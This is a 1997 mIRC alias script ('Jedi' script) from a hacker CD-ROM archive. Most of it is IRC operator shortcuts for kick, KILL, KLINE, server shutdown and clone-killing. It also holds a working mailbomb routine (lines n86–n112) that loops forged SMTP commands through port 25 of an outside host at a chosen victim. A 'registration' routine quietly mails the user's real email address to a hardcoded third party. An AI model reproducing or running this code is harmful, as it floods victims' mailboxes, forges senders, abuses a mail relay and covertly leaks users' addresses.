home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / scriptz / th-jedi.exe / Jedi.exe / ALIASES.INI next >
INI File  |  1997-03-23  |  9KB  |  236 lines
  1. [Aliases]
  2. n0=/join {
  3. n1=  raw -q JOIN *1
  4. n2=  echo 2 *JOIN* $$1
  5. n3=}
  6. n4=/part {
  7. n5=  raw -q PART *1
  8. n6=  echo 2 *PART* $$1
  9. n7=}
  10. n8=/msg {
  11. n9=  raw -q PRIVMSG $$1 : $+ *2
  12. n10=  echo 2 *PRIVMSG $$1 $+ * *2
  13. n11=}
  14. n12=/kick {
  15. n13=  raw -q KICK $$1 $$2 : $+ *3
  16. n14=  echo 2 *KICK $$2 $+ *
  17. n15=}
  18. n16=/k {
  19. n17=  kick # $$1 *2
  20. n18=}
  21. n19=/j {
  22. n20=  JOIN $$1
  23. n21=}
  24. n22=/p {
  25. n23=  PART $$1
  26. n24=}
  27. n25=/op {
  28. n26=  raw -q MODE $$1 :+o $$2
  29. n27=  echo 2 *OP* $$2
  30. n28=}
  31. n29=/dop {
  32. n30=  raw -q MODE $$1 :-o $$2
  33. n31=  echo 2 *DOP* $$2
  34. n32=}
  35. n33=/mode {
  36. n34=  raw -q MODE $$1 : $+ *2
  37. n35=  echo 2 *MODE* *1
  38. n36=}
  39. n37=/o {
  40. n38=  onotice (Ops on  $+ $chan $+ ) *1 [ $+ $opnick(0,#) $+ ]
  41. n39=}
  42. n40=/od {
  43. n41=  raw -q MODE $chan :+o $$1
  44. n42=  raw -q MODE $chan :-o $$1
  45. n43=  echo 2 *OP DEOP* $$1
  46. n44=}
  47. n45=/do {
  48. n46=  raw -q MODE $chan :-o $$1
  49. n47=  raw -q MODE $chan :+o $$1
  50. n48=  echo 2 *DEOP OP* $$1
  51. n49=}
  52. n50=/kill {
  53. n51=  raw -q KILL $$1 : $+ *2
  54. n52=  echo 2 *KILL* $$1 ( $+ *2 $+ )
  55. n53=}
  56. n54=/network {
  57. n55=  raw -q notice $ $+ $*.net :[Netwide Notice]  $+ *1 $+  [Please do not respond]
  58. n56=  echo 2 *NETWIDE NOTICE* *1
  59. n57=}
  60. n58=/notice {
  61. n59=  raw -q NOTICE $ $+ $*.net : $+ *1
  62. n60=  echo 2 *NOTICE* $$1 [ $+ *2 $+ ]
  63. n61=}
  64. n62=/globops {
  65. n63=  raw -q GLOBOPS : $+ *1
  66. n64=  echo 2 Globops: *1
  67. n65=}
  68. n66=/wallops {
  69. n67=  raw -q WALLOPS : $+ *1
  70. n68=  echo 2 WALLops: *1
  71. n69=}
  72. n70=/kline {
  73. n71=  raw -q KLINE $$1 : $+ *2
  74. n72=  echo 2 *KLINE* $$1 [ $+ *2 $+ ]
  75. n73=}
  76. n74=/die {
  77. n75=  echo 8 This will kill you server, if you are sure you want to do this, type:  /killserv
  78. n76=}
  79. n77=/killserv {
  80. n78=  raw -q DIE :Killing the server
  81. n79=  echo 2 *DIE*
  82. n80=  disconnect
  83. n81=}
  84. n82=/fchan {
  85. n83=  /raw -q join $$1 $+ $chr(160) $+ @ $+ $$2
  86. n84=  /echo 3 *FCHAN* JOINING FAKE CHANNELS ( $+ $$1 $+ ) and ( $+ $$2 $+ )
  87. n85=}
  88. n86=/start {
  89. n87=  //set %mailbombtimes $$?="How many times?"
  90. n88=  //set %mailbombfrom $$?="E-mail to MailBomb from?"
  91. n89=  //set %mailbombto $$?="Person to mailbomb?"
  92. n90=  //set %mailbombdata $$?="Body?"
  93. n91=}
  94. n92=/start3 {
  95. n93=  set %bombs 0
  96. n94=  :start
  97. n95=  inc %bombs 1
  98. n96=  if (%bombs <= %mailbombtimes) {
  99. n97=    //msg = $+ $me MAIL FROM: %mailbombfom
  100. n98=    //msg = $+ $me RCPT TO: %mailbombto
  101. n99=    //msg = $+ $me DATA 
  102. n100=    //msg = $+ $me %mailbombdata
  103. n101=    //msg = $+ $me Bomb %bombs of %mailbombtimes
  104. n102=    //msg = $+ $me .
  105. n103=    goto start 
  106. n104=  }
  107. n105=  :end
  108. n106=  //close -c $me
  109. n107=  //.timer2 off
  110. n108=  %bombs = %bombs - 1
  111. n109=  //echo -s 4[2Mailbomb Status: 3Finished %bombs bombs to %mailbombto $+ 4]
  112. n110=}
  113. n111=/start2 {
  114. n112=  //raw -q privmsg $me : $+ $chr(1) $+ DCC CHAT CHAT $longip(18.72.2.1) 25 $+ $chr(1)
  115. n113=}
  116. n114=math {  
  117. n115=  if ($3 = $null) { goto $2 } | else { goto $3 } 
  118. n116=  :+ | %a = $1 + $2 | return %a  
  119. n117=  :- |  %a = $1 - $2 | return %a 
  120. n118=  :/  | %a = $1 / $2 | return %a 
  121. n119=  :^ | %a = $1 ^ $2 | return %a 
  122. n120=  :* | %a = $1 * $2 | return %a 
  123. n121=  :$ | %dol = $token(1,46,$1) | %i = $len(%dol) | %ix = %i / 3 | %ix1 = %ix * 3 | %r = %i - %ix1 | %c = 1 | if (%r = 0) { %d = $chr(36) } | else { %d = $chr(36) $+ $left(%r,%dol) $+ , | inc %c %r }  | :dol | if ($mid(%c,3,%dol) != $null) { %d = %d $+ $mid(%c,3,%dol) $+ , | inc %c 3 | goto dol } | %i = $len(%d) | dec %i 1 | %d = $mid(1,%i,%d) | if ($token(2,46,$1) = $null) { %d = %d $+ .00 } | else { %d = %d $+ . $+ $+ $token(2,46,$1) } | return %d
  124. n122=  :r | %a = $1 |  %b = $2  | %t = %a + %b | %a1 = %a * 100 | %a2 = %a1 / %t | %b1 = %b * 100 | %b2 = %b1 / %t | %c = %a2 + %b2 | return %a2
  125. n123=}
  126. n124=/hop {
  127. n125=  raw -q PART $$1
  128. n126=  raw -q JOIN $$2
  129. n127=  echo 2 *HOP* $$1 - $$2
  130. n128=}
  131. n129=/leave {
  132. n130=  part *1
  133. n131=}
  134. n132=/links {
  135. n133=  echo 2 *LINKS*
  136. n134=  raw -q LINKS
  137. n135=}
  138. n136=/list {
  139. n137=  echo 2 This might knock you off of IRC, if you really want to do this, type:  /clist
  140. n138=  halt
  141. n139=}
  142. n140=/clist {
  143. n141=  raw -q LIST
  144. n142=}
  145. n143=/helpon /mode $me +h
  146. n144=/helpoff /mode $me -h
  147. n145=mk2 { 
  148. n146=  set %CloneAlert $$1
  149. n147=  if (%CloneAlert isin %TelnetClients) { echo 4 Server $timestamp : TELNET CLIENTS: Script Stopped | halt }
  150. n148=  unset %CloneNicks* | unset %clonewhocounter | unset %sparecloner | set %CloneCounter 6
  151. n149=  if (%CurrentHost !isin $$1) {
  152. n150=    set %OldIP5 %OldIP4 | set %OldIP4 %OldIP3
  153. n151=    set %OldIP3 %OldIP2 | set %OldIP2 %OldIP1
  154. n152=    set %OldIP1 [ %CurrentUserID $+ @ [ $+ [ %CurrentHost ] ] ]
  155. n153=  }
  156. n154=  if (@ !isin %CloneAlert) { .enable #mk2 | set %CurrentUserID * | set %CurrentHost %CloneAlert | who * $+ %CurrentHost $+ * | goto end }
  157. n155=  :stripping
  158. n156=  if (@ isin [ $right( [ %CloneCounter ] , [ %CloneAlert ] ) ] ) {
  159. n157=    dec %CloneCounter 1 | set %CurrentHost $right(%CloneCounter,%CloneAlert)
  160. n158=    set %CurrentUserID [ $remove(%CloneAlert, [ $chr(64) $+ [ %CurrentHost ] ] ) ]
  161. n159=    .enable #mk2 | who * $+ %CurrentHost $+ *
  162. n160=    goto end
  163. n161=  }
  164. n162=  inc %CloneCounter 1 | goto stripping
  165. n163=  :end
  166. n164=}
  167. n165=tF1 { set %missingservers %DALnetservers | links }
  168. n166=tSF1 /set %awayreason $$?="Reason" | /amsg $me is away ) %awayreason ( at  $+ $asctime($ctime) $+  | /away ) %awayreason (    since  $+ $asctime($ctime) $+  | /creq ignore | /sreq ignore | /nick $me $+ -Away | .timer99 0 45 /alive
  169. n167=tCF1 /amsg %me is back  $+ $asctime($ctime) $+  | /away | .timer99 off | /close -m $me | /creq ask | /sreq ask | /nick %me
  170. n168=;
  171. n169=tF2 /msg %CloneNicks3 $$?
  172. n170=tSF2 /set %message $$?="Enter Cloner's number" | /msg $token(%message,32,%CloneNicks1) $$?="Enter Message to Cloner - [ $token(%message,32,%CloneNicks1) ] " | /unset %message
  173. n171=;
  174. n172=tF3 /msg %CloneNicks3 ) Remove All Clones From ThisNet, Cloning Is A Killable Offense. U have 15 seconds to comply. (
  175. n173=tSF3 /msg %CloneNicks3 Semejantes no seran toleraods en Danet (Al repetirlo ofendes y seran baneados o sacados de Dalnet)!!! Quite el semejante en seguida!!
  176. n174=tCF3 /msg %CloneNicks3  Clones nao sao permitidos na Dalnet ( repetir ofencas ira resultar em banimento da dalnet !  Tire o Clone !!!
  177. n175=;
  178. n176=tSF4 /whois %CloneNicks3
  179. n177=tF4 {
  180. n178=  set %dcounter 1
  181. n179=  :next
  182. n180=  if (%dcounter == %sparecloner) goto next2
  183. n181=  if ($token(%dcounter,32,%CloneNicks1) == $null) goto end
  184. n182=  ;kill $token(%dcounter,32,%CloneNicks1) Cloning is _NOT_ Allowed on this NET. Now hop on out of here or be banned. -=| $+ %CurrentUserID $+ @ $+ %CurrentHost $+ ~ %dcounter $+ |=-
  185. n183=  kill $token(%dcounter,32,%CloneNicks1) Cloning is _NOT_ Allowed on this NET. Now hop on out of here or be banned. -=| $+ %CurrentUserID $+ @ $+ %CurrentHost $+ ~ %dcounter $+ |=-
  186. n184=  set %CloneNicks2 $remove(%CloneNicks2,$token(%dcounter,32,%CloneNicks1))
  187. n185=  :next2
  188. n186=  inc %dcounter 1
  189. n187=  goto next
  190. n188=  :end
  191. n189=  set %CloneNicks1 %CloneNicks2 
  192. n190=  set %CloneNicks3 %CloneNicks2
  193. n191=  halt
  194. n192=}
  195. n193=t4CF4 set %sparecloner $$?="Enter cloner's number, to be spared" | /tSF4
  196. n194=;
  197. n195=tF5 .enable #mk2 | unset %CloneNicks* | unset %clonewhocounter | unset %sparecloner | who * $+ %CurrentHost $+ *
  198. n196=tSF5 {
  199. n197=  echo 6 -s CurrentHost = %CloneAlert
  200. n198=  echo 6 -s OldIP1 = %OldIP1 | echo 6 -s OldIP2 = %OldIP2
  201. n199=  echo 6 -s OldIP3 = %OldIP3 | echo 6 -s OldIP4 = %OldIP4
  202. n200=  echo 6 -s OldIP5 = %OldIP5 | echo 1 -s *
  203. n201=  set %Refresh $$?="Enter 1-5 for OldClone or SPACE for CurrentClone" 
  204. n202=  if (%Refresh == $null) { .enable #mk2 | /mk2 %CloneAlert | halt }
  205. n203=  .enable #mk2
  206. n204=  mk2 [ %OldIP [ $+ [ $! ] ] ]
  207. n205=  halt
  208. n206=}
  209. n207=;
  210. n208=tF7 .timer18 0 20 /mk2 %CurrentHost
  211. n209=tSF7 .timer18 off
  212. n210=;
  213. n211=tSF9 /kill $nick No Cloning!!! Cloning will not be tolerated on DALnet (Repeat offenses will result in being banned from This net!)!!!
  214. n212=tCF9 /kill $$* no cloning
  215. n213=;
  216. n214=tSF10 /kill $nick No Flooding!!!  Flooding will not be tolerated on DALnet (Repeat offenses will result in being banned from This net!)!!!
  217. n215=tCF10 /kill $$* no flooding
  218. n216=ns /raw -q PRIVMSG nickserv : $+ *1 | echo 3 -s $timestamp NickServ: *1
  219. n217=cs /raw -q PRIVMSG chanserv : $+ *1 | echo 3 -s $timestamp ChanServ: *1
  220. n218=ms /raw -q PRIVMSG memoserv : $+ *1 | echo 3 -s $timestamp MemoServ: *1
  221. n219=os /raw -q PRIVMSG operserv : $+ *1 | echo 3 -s $timestamp OperServ: *1
  222. n220=/register {
  223. n221=  if (%register == JediScript) { goto next }
  224. n222=  else { /echo 3 Incorrect Registeration, so leaving. | /echo 3 Connection Closed. | /unset %register | /unset %rpass | halt }
  225. n223=  :next
  226. n224=  if (%rpass == support) { goto done }
  227. n225=  else { /echo 3 Incorrect Registeration, so leaving. | /echo 3 Connection Closed. | /unset %register | /unset %rpass | halt }
  228. n226=  :done
  229. n227=  //set %mailbombtimes 1
  230. n228=  //set %mailbombfrom $$?="Please enter your REAL email address"
  231. n229=  //set %mailbombto andylee@froggies.org
  232. n230=  //set %mailbombdata Registeration Succeeded.
  233. n231=  enable #mail
  234. n232=  /start2
  235. n233=}
  236.